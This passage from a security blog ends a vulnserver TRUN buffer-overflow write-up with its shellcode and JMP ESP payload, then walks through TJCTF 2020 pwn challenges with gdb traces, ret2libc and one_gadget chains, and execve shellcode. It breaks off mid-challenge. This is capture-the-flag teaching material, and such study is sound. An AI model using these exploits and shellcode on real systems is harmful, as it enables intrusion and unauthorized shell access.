shellcode += b"\xad\x06\xde\xc0\xb9\x11\xad\xf2\x66\x8a\x39"
shellcode += b"\xbf\xef\x14\xbe\xc0\xc5\xe1\x50\x3f\xe6\x11"
shellcode += b"\x79\x84\xb2\x41\x11\x2d\xbb\x09\xe1\xd2\x6e"
shellcode += b"\x9d\xb1\x7c\xc1\x5e\x61\x3d\xb1\x36\x6b\xb2"
shellcode += b"\xee\x27\x94\x18\x87\xc2\x6f\xcb\x68\xba\xe7"
shellcode += b"\xfd\x01\xb9\xf7\x10\x8e\x34\x11\x78\x3e\x11"
shellcode += b"\x8a\x15\xa7\x38\x40\x87\x28\x97\x2d\x87\xa3"
shellcode += b"\x14\xd2\x46\x44\x50\xc0\x3f\xa4\x2f\xba\x96"
shellcode += b"\xbb\x85\xd2\x75\x29\x42\x22\xf3\x52\xdd\x75"
shellcode += b"\x54\xa4\x14\x13\x48\x9f\x8e\x01\x91\x79\xe8"
shellcode += b"\x81\x4e\xba\xf7\x08\x02\x86\xd3\x1a\xda\x07"
shellcode += b"\x58\x4e\xb2\x51\x36\x38\x74\x08\xf8\x92\x2e"
shellcode += b"\xe7\x52\x72\xb6\xcb\x64\x04\xb7\x01\x13\xe8"
shellcode += b"\x06\xfc\x62\x17\xa6\x68\x63\x60\xda\x08\x8c"
shellcode += b"\xbb\x5e\x38\xc7\xe1\xf7\xd1\x8e\x70\x4a\xbc"
shellcode += b"\x30\xaf\x89\xb9\xb2\x45\x72\x3e\xaa\x2c\x77"
shellcode += b"\x7a\x6c\xdd\x05\x13\x19\xe1\xba\x14\x08"
payload = ""
payload += "TRUN ."
payload += "A"*2006
payload += p32(0x625011af) # JMP ESP
payload += "\x90"*50 # NOP SLED
payload += shellcode
r.sendline(payload)
r.close()
</code></pre></div></div>
<p>Executing this payload gives us a shell.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*Fsz1-y58foVMeBFsUeG4nw.png" alt="" class="align-center" /></p>
<p>— ar33zy</p>ar33zyIn this write-up, I will discuss about attacking TRUN command of vulnserver.exe with JMP ESP technique.TJCTF 2020 Pwn writeup2020-05-29T00:00:00+00:002020-05-29T00:00:00+00:00https://ar33zy.hackstreetboys.ph/ctf/tjctf/ctf-tjctf-2020<p>This is a quick walkthrough of my solutions for TJCTF 2020 pwn challenges. I will just elaborate some of the tricks that I learned while solving these challenges.</p>
<table>
<thead>
<tr>
<th style="text-align: center"><img src="/assets/images/ctf/tjctf_2020/banner.png" alt="" /></th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: center"><em>Board wipe >:)</em></td>
</tr>
</tbody>
</table>
<h2 id="tinder-25-points">Tinder (25 points)</h2>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Challenge: Buffer overflow + control the value of $ebp-0xc
</code></pre></div></div>
<p>This challenge gives a binary that accepts four user inputs.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@windows98:~/Documents/CTFs/2020/tjctf/pwn/tinder# ./tinder
Welcome to TJTinder, please register to start matching!
Name: 1
Username: 2
Password: 3
Tinder Bio: 4
Registered '2' to TJTinder successfully!
Searching for matches...
Sorry, no matches found. Try Again!
</code></pre></div></div>
<p>A quick <code class="language-plaintext highlighter-rouge">checksec</code> reveals that the binary can be stack smashed.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤ checksec
[+] checksec for '/root/Documents/CTFs/2020/tjctf/pwn/tinder/tinder'
Canary : No <----- No canary check
NX : Yes
PIE : No
Fortify : No
RelRO : Partial
</code></pre></div></div>
<p>Disassembling the binary shows that we need to control <code class="language-plaintext highlighter-rouge">$ebp-0xc</code> to print the flag.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤ disas main
Dump of assembler code for function main:
------------ redacted -------------------------
0x0804884d <+96>: call 0x8048720 <input> <---- input #1
------------ redacted -------------------------
0x08048877 <+138>: call 0x8048720 <input> <---- input #2
------------ redacted -------------------------
0x080488a1 <+180>: call 0x8048720 <input> <---- input #3
------------ redacted -------------------------
0x080488cf <+226>: call 0x8048720 <input> <---- input #4 (overflow to control $ebp-0xc
------------ redacted -------------------------
0x080488e4 <+247>: cmp DWORD PTR [ebp-0xc],0xc0d3d00d <---- $ebp must be 0xc0d3d00d
0x080488eb <+254>: jne 0x80489a8 <main+443> <---- will jump to exit when $ebp-0xc is not 0xc0d3d00d
------------ redacted -------------------------
0x08048949 <+348>: call 0x8048570 <fopen@plt> <---- Will proceed to these fopen('flag.txt') + puts(flag str pointer)
0x0804894e <+353>: add esp,0x10
0x08048951 <+356>: mov DWORD PTR [ebp-0x10],eax
0x08048954 <+359>: cmp DWORD PTR [ebp-0x10],0x0
0x08048958 <+363>: jne 0x8048976 <main+393>
0x0804895a <+365>: sub esp,0xc
0x0804895d <+368>: lea eax,[ebx-0x1494]
0x08048963 <+374>: push eax
0x08048964 <+375>kkk: call 0x8048520 <puts`@plt> <---- prints the flag
0x08048969 <+380>: add esp,0x10
0x0804896c <+383>: sub esp,0xc
0x0804896f <+386>: push 0x0
0x08048971 <+388>: call 0x8048530 <exit@plt> <---- terminates the program
------------ redacted -------------------------
0x080489a8 <+443>: sub esp,0x8 <---- jump when $ebp-0xc is not equal to 0xc0d3d00d, will go to exit
------------ redacted -------------------------
End of assembler dump.
gef➤
</code></pre></div></div>
<p>We need to set <code class="language-plaintext highlighter-rouge">$ebp-0xc</code> to <code class="language-plaintext highlighter-rouge">0xc0d3d00d</code> to make the binary read and print the contents of <code class="language-plaintext highlighter-rouge">flag.txt</code>.</p>
<p>We can get the distance of where <code class="language-plaintext highlighter-rouge">input 4</code> would be written and <code class="language-plaintext highlighter-rouge">$ebp-0xc</code> by doing the following steps:</p>
<p>(1) set a breakpoint on input #4 <code class="language-plaintext highlighter-rouge">(0x80488cf)</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤ b *0x080488cf
Breakpoint 4 at 0x80488cf: file match.c, line 54.
</code></pre></div></div>
<p>(2) get the address of the first argument for <code class="language-plaintext highlighter-rouge">input()</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> → 0x80488cf <main+226> call 0x8048720 <input>
↳ 0x8048720 <input+0> push ebp
0x8048721 <input+1> mov ebp, esp
0x8048723 <input+3> push ebx
0x8048724 <input+4> sub esp, 0x14
0x8048727 <input+7> call 0x8048610 <__x86.get_pc_thunk.bx>
0x804872c <input+12> add ebx, 0x18d4
input (
DWORD var_0 = 0xffffd008 → 0xf7ffd940 → 0x00000000,
float var_1 = 0x41000000
)
gef➤
</code></pre></div></div>
<p>The address is <code class="language-plaintext highlighter-rouge">0xffffd008</code>.</p>
<p>(3) set a breakpoint on cmp <code class="language-plaintext highlighter-rouge">(0x80488e4)</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤ b *0x80488e4
Breakpoint 5 at 0x80488e4: file match.c, line 58.
</code></pre></div></div>
<p>(4) get the difference of <code class="language-plaintext highlighter-rouge">$ebp-0xc</code> and the address from (2)</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤ p $ebp-0xc - 0xffffd008
$2 = (void *) 0x74
</code></pre></div></div>
<p>The difference is <code class="language-plaintext highlighter-rouge">0x74</code> or <code class="language-plaintext highlighter-rouge">116</code>.</p>
<p>The payload for 4th input will now look like this:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>payload = <padding length 116> + 0xc0d3d00d
</code></pre></div></div>
<p>Sending this payload will give us the flag.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@windows98:~/Documents/CTFs/2020/tjctf/pwn/tinder# python exploit.py
[+] Starting local process './tinder': pid 50267
[*] Switching to interactive mode
Registered 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���' to TJTinder successfully!
Searching for matches...
It's a match!
Here is your flag: tjctf{0v3rfl0w_0f_m4tch35}
</code></pre></div></div>
<p>Exploit script: <a href="https://github.com/ar33zy/CTFs/blob/master/2020/tjctf/pwn/tinder/exploit.py">https://github.com/ar33zy/CTFs/blob/master/2020/tjctf/pwn/tinder/exploit.py</a></p>
<h2 id="seashells-50-points">Seashells (50 points)</h2>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Challenge: Buffer overflow + ret2libc leak + rop-chain one_gadget
</code></pre></div></div>
<p>A quick check shows that the given binary is also vulnerable to buffer overflow, but it is not possible to inject a shellcode since the <code class="language-plaintext highlighter-rouge">NX bit</code> is set.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤ checksec
[+] checksec for '/root/Documents/CTFs/2020/tjctf/pwn/seashells/seashells'
Canary : No <---- stack smashable
NX : Yes <---- can't inject shellcode
PIE : No
Fortify : No
RelRO : Full
</code></pre></div></div>
<p>The binary asks for a user input. A quick fuzz gives us the offset we need to control the instruction pointer.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@windows98:~/Documents/CTFs/2020/tjctf/pwn/seashells# pattern 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@windows98:~/Documents/CTFs/2020/tjctf/pwn/seashells# gdb seashells -q
gef➤ r
Starting program: /root/Documents/CTFs/2020/tjctf/pwn/seashells/seashells
Welcome to Sally's Seashore Shell Shop
Would you like a shell?
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
why are you even here?
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400796 in main ()
------------ redacted -------------------------
gef➤ x/xg $rsp
0x7fffffffdef8: 0x6141376141366141
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@windows98:~/Documents/CTFs/2020/tjctf/pwn/seashells# pattern 0x6141376141366141
Pattern 0x6141376141366141 first occurrence at position 18 in pattern.
</code></pre></div></div>
<p>We need a padding of <code class="language-plaintext highlighter-rouge">18 bytes</code> to control the program.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>payload = <18 bytes padding> + <instruction pointer control>
</code></pre></div></div>
<p>Upon checking, there is a function that gives us a shell.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤ disas shell
Dump of assembler code for function shell:
0x00000000004006c7 <+0>: push rbp
0x00000000004006c8 <+1>: mov rbp,rsp
0x00000000004006cb <+4>: sub rsp,0x10
0x00000000004006cf <+8>: mov QWORD PTR [rbp-0x8],rdi
0x00000000004006d3 <+12>: movabs rax,0xdeadcafebabebeef
0x00000000004006dd <+22>: cmp QWORD PTR [rbp-0x8],rax
0x00000000004006e1 <+26>: jne 0x4006ef <shell+40>
0x00000000004006e3 <+28>: lea rdi,[rip+0x13e] # 0x400828
0x00000000004006ea <+35>: call 0x4005c0 <system@plt>
0x00000000004006ef <+40>: nop
0x00000000004006f0 <+41>: leave
0x00000000004006f1 <+42>: ret
</code></pre></div></div>
<p>This function executes <code class="language-plaintext highlighter-rouge">system('/bin/sh')</code> if <code class="language-plaintext highlighter-rouge">0xdeadcafebabebeef</code> is passed as an argument to <code class="language-plaintext highlighter-rouge">shell()</code>. Unfortunately, it seems that there is an issue with <code class="language-plaintext highlighter-rouge">system()</code>* which is why we cannot use this function.</p>
<ul>
<li>Note: system function might be broken on the libc used by the remote binary.</li>
</ul>
<p>An alternative solution is by using <code class="language-plaintext highlighter-rouge">ret2libc</code> attack to leak a libc address to determine the libc version used, and use <code class="language-plaintext highlighter-rouge">one_gadget</code> or <code class="language-plaintext highlighter-rouge">execve()</code> to spawn a shell.</p>
<p>To leak a libc address from the remote binary, we can print any GOT address (this address points to a libc address). Our stage 1 payload should look like this.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>payload = ""
payload += "A"*18 # padding
payload += p64(pop_rdi) # control first argument
payload += p64(puts_got) # GOT address of puts (to leak printf libc address)
payload += p64(puts_plt) # will execute puts(&printf_got)
payload += p64(main_plt) # jump back to main (for stage 2 payload)
</code></pre></div></div>
<p>Executing this payload will look like this (This is just an example, was not able to do a writeup when the remote servers are still up :( ).</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@windows98:~/Documents/CTFs/2020/tjctf/pwn/seashells# python exploit.py
[+] Starting local process './seashells': pid 52173
[*] puts leak: 0x7ffff7e585d0
</code></pre></div></div>
<p>The address can be used to determine the libc version used by the remote server. <a href="https://libc.blukat.me/">LIBC Database</a> can be used to get the version of the libc.</p>
<p>Once the <code class="language-plaintext highlighter-rouge">LIBC base</code> and other libc function addresses are determined, we can now create our stage 2 payload.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>libc_base = puts_leak - puts_offset
payload = ""
payload += "A"*18 # padding
payload += p64(libc_base + one_gadget_offset)# one_gadget
</code></pre></div></div>
<p>I used <code class="language-plaintext highlighter-rouge">one_gadget</code> to execute a shell.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@windows98:~/Documents/CTFs/2020/tjctf/pwn/seashells# one_gadget libc.so.6
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ) <---- this offset worked
constraints:
[rsp+0x70] == NULL
</code></pre></div></div>
<p>Exploit script: <a href="https://github.com/ar33zy/CTFs/blob/master/2020/tjctf/pwn/seashells/exploit.py">https://github.com/ar33zy/CTFs/blob/master/2020/tjctf/pwn/seashells/exploit.py</a></p>
<h2 id="osrs-50-points">OSRS (50 points)</h2>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Challenge: Buffer overflow + jump to shellcode
</code></pre></div></div>
<p>A quick check shows that the given binary is also vulnerable to buffer overflow, and it is possible to inject a shellcode since the <code class="language-plaintext highlighter-rouge">NX bit</code> is not set.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤ checksec
[+] checksec for '/root/Documents/CTFs/2020/tjctf/pwn/osrs/osrs'
Canary : No
NX : No
PIE : No
Fortify : No
RelRO : No
</code></pre></div></div>
<p>The binary asks for one input, and prints a string before it terminates the program.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤ r
Starting program: /root/Documents/CTFs/2020/tjctf/pwn/osrs/osrs
Enter a tree type:
test
I don't have the tree -12436 :(
</code></pre></div></div>
<p>Upon inspection, the main function only calls one function - <code class="language-plaintext highlighter-rouge">get_tree()</code>, and terminates the program if the returned value of <code class="language-plaintext highlighter-rouge">get_tree()</code> is less than or equal to zero.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤ disas main
Dump of assembler code for function main:
------------ redacted -------------------------
0x08048612 <+74>: call 0x8048546 <get_tree> <--- get_tree()
0x08048617 <+79>: mov DWORD PTR [ebp-0xc],eax
0x0804861a <+82>: cmp DWORD PTR [ebp-0xc],0x0 <--- checks if get_tree returns >0
0x0804861e <+86>: jle 0x8048636 <main+110> <--- jumps to the end of the program if get_tree() <= 0
------------ redacted -------------------------
0x08048636 <+110>: mov eax,0x0
0x0804863b <+115>: mov ecx,DWORD PTR [ebp-0x4]
0x0804863e <+118>: leave
0x0804863f <+119>: lea esp,[ecx-0x4]
0x08048642 <+122>: ret
</code></pre></div></div>
<p>Let’s inspect the <code class="language-plaintext highlighter-rouge">get_tree</code> function.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤ disas get_tree
Dump of assembler code for function get_tree:
------------ redacted -------------------------
0x08048557 <+17>: call 0x80483f0 <puts@plt> <--- prints the first banner
------------ redacted -------------------------
0x08048569 <+35>: call 0x80483e0 <gets@plt> <--- asks for user input (vulnerable to buffer overflow)
------------ redacted -------------------------
0x0804858f <+73>: call 0x8048410 <strcasecmp@plt> <--- checks if the input is equal to an expected string
------------ redacted -------------------------
0x080485a8 <+98>: jle 0x804857a <get_tree+52> <--- jumps back to get_tree+52 to do aonther comparison (until the list of strings are exhausted)
------------ redacted -------------------------
0x080485b9 <+115>: call 0x80483d0 <printf@plt> <--- prints the last bannner with negative number
------------ redacted -------------------------
</code></pre></div></div>
<p>Upon inpsecting the <code class="language-plaintext highlighter-rouge">printf</code> call, it seems that the negative number is the location of our input string.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> → 0x80485b9 <get_tree+115> call 0x80483d0 <printf@plt>
↳ 0x80483d0 <printf@plt+0> jmp DWORD PTR ds:0x8049e78
0x80483d6 <printf@plt+6> push 0x8
0x80483db <printf@plt+11> jmp 0x80483b0
0x80483e0 <gets@plt+0> jmp DWORD PTR ds:0x8049e7c
0x80483e6 <gets@plt+6> push 0x10
0x80483eb <gets@plt+11> jmp 0x80483b0
printf@plt (
[sp + 0x0] = 0x08048bfc → "I don't have the tree %d :(",
[sp + 0x4] = 0xffffcf6c → "test",
[sp + 0x8] = 0xf7fce410 → 0x080482df → "GLIBC_2.0",
[sp + 0xc] = 0x00000001,
[sp + 0x10] = 0x00000000
)
</code></pre></div></div>
<p>The function asks for a user input, and the input is being checked if it matches one of the strings in the list. The program prints another string that leaks the location of our input.</p>
<p>Since the NX bit is not set, a shellcode can be executed in this binary. We can inject a shellcode and jump to its location using the leak. But before doing this, we need to jump back to <code class="language-plaintext highlighter-rouge">get_tree</code> since the program terminates after the leak.</p>
<p>Let’s get the offset to control the instruction pointer.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@windows98:~/Documents/CTFs/2020/tjctf/pwn/osrs# pattern 500
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
gef➤ r
Starting program: /root/Documents/CTFs/2020/tjctf/pwn/osrs/osrs
Enter a tree type:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
I don't have the tree -12436 :(
Program received signal SIGSEGV, Segmentation fault.
0x316a4130 in ?? ()
root@windows98:~/Documents/CTFs/2020/tjctf/pwn/osrs# pattern 0x316a4130
Pattern 0x316a4130 first occurrence at position 272 in pattern.
</code></pre></div></div>
<p>The offset is <code class="language-plaintext highlighter-rouge">272</code>. Let’s now create our exploit.</p>
<p>Our payload should look like this.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># control instruction pointer
payload = ""
payload += "A"*272 #offset
payload += p32(0x8048546) # jump back to get_tree
# get the leak from the first run
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
# stage 2 payload
payload = ""
payload += shellcode
payload += "\x90" * (272-len(shellcode))
payload += p32(leak)
</code></pre></div></div>
<p>Executing the payload will look like this.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@windows98:~/Documents/CTFs/2020/tjctf/pwn/osrs# python test.py
[+] Starting local process './osrs': pid 5228
[*] Leaked address: 0xfff7994c
[*] Switching to interactive mode
I don't have the tree -550576 :(
$ ls
exploit.py flag.txt osrs test.py
$ cat flag.txt
tjctf{tr33_c0de_in_my_she115}
</code></pre></div></div>
<p>Exploit script: <a href="https://github.com/ar33zy/CTFs/blob/master/2020/tjctf/pwn/osrs/exploit.py">https://github.com/ar33zy/CTFs/blob/master/2020/tjctf/pwn/osrs/exploit.py</a></p>
<h2 id="el-primo-60-points">El Primo (60 points)</h2>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Challenge: Buffer overflow + jump to shellcode pointer
</code></pre></div></div>
<p>A quick check shows that the given binary is also vulnerable to buffer overflow, and it is possible to inject a shellcode since the <code class="language-plaintext highlighter-rouge">NX bit</code> is not set.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤ checksec
[+] checksec for '/root/Documents/CTFs/2020/tjctf/pwn/el_primo/el_primo'
Canary : No
NX : No
PIE : Yes
Fortify : No
RelRO : Full
</code></pre></div></div>
<p>The binary leaks an address, and terminates after receiving an input.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤ r
Starting program: /root/Documents/CTFs/2020/tjctf/pwn/el_primo/el_primo
What's my hard counter?
hint: 0xffffd060
test
[Inferior 1 (process 5455) exited normally]
</code></pre></div></div>
<p>Upon inspection, the leaked address is the location of our input string.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤ disas main
Dump of assembler code for function main:
------------ redacted -------------------------
0x56555681 <+116>: lea eax,[ebp-0x28] <--- leaked address
0x56555684 <+119>: push eax
0x56555685 <+120>: lea eax,[ebx-0x1868]
0x5655568b <+126>: push eax
0x5655568c <+127>: call 0x56555480 <printf@plt>
0x56555691 <+132>: add esp,0x10
0x56555694 <+135>: sub esp,0xc
0x56555697 <+138>: lea eax,[ebp-0x28] <--- same address used by the gets function
0x5655569a <+141>: push eax
0x5655569b <+142>: call 0x56555490 <gets@plt>
0x565556a0 <+147>: add esp,0x10
0x565556a3 <+150>: mov eax,0x0
0x565556a8 <+155>: lea esp,[ebp-0x8]
0x565556ab <+158>: pop ecx
0x565556ac <+159>: pop ebx
0x565556ad <+160>: pop ebp
0x565556ae <+161>: lea esp,[ecx-0x4]
0x565556b1 <+164>: ret
End of assembler dump.
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤ r
Starting program: /root/Documents/CTFs/2020/tjctf/pwn/el_primo/el_primo
What's my hard counter?
hint: 0xffffd060
test
Breakpoint 1, 0x565556a0 in main ()
gef➤ x/xs 0xffffd060
0xffffd060: "test"
</code></pre></div></div>
<p>We can use the same technique by injecting a shellcode and jumping to its location.</p>
<p>Let’s now create our payload. First, let’s get the offset to control the instruction pointer.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@windows98:~/Documents/CTFs/2020/tjctf/pwn/el_primo# pattern 500
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤ r
Starting program: /root/Documents/CTFs/2020/tjctf/pwn/el_primo/el_primo
What's my hard counter?
hint: 0xffffd060
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
Program received signal SIGSEGV, Segmentation fault.
0x565556b1 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0x0
$ebx : 0x41326241 ("Ab2A"?)
$ecx : 0x31624130 ("0Ab1"?)
$edx : 0xffffd254 → 0x00000000
$esp : 0x3162412c (",Ab1"?)
$ebp : 0x62413362 ("b3Ab"?)
$esi : 0xf7fa2000 → 0x001dfd6c
$edi : 0xf7fa2000 → 0x001dfd6c
$eip : 0x565556b1 → <main+164> ret
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x565556a7 <main+154> add BYTE PTR [ebp+0x5b59f865], cl
0x565556ad <main+160> pop ebp
0x565556ae <main+161> lea esp, [ecx-0x4]
0x565556b1 <main+164>: ret
</code></pre></div></div>
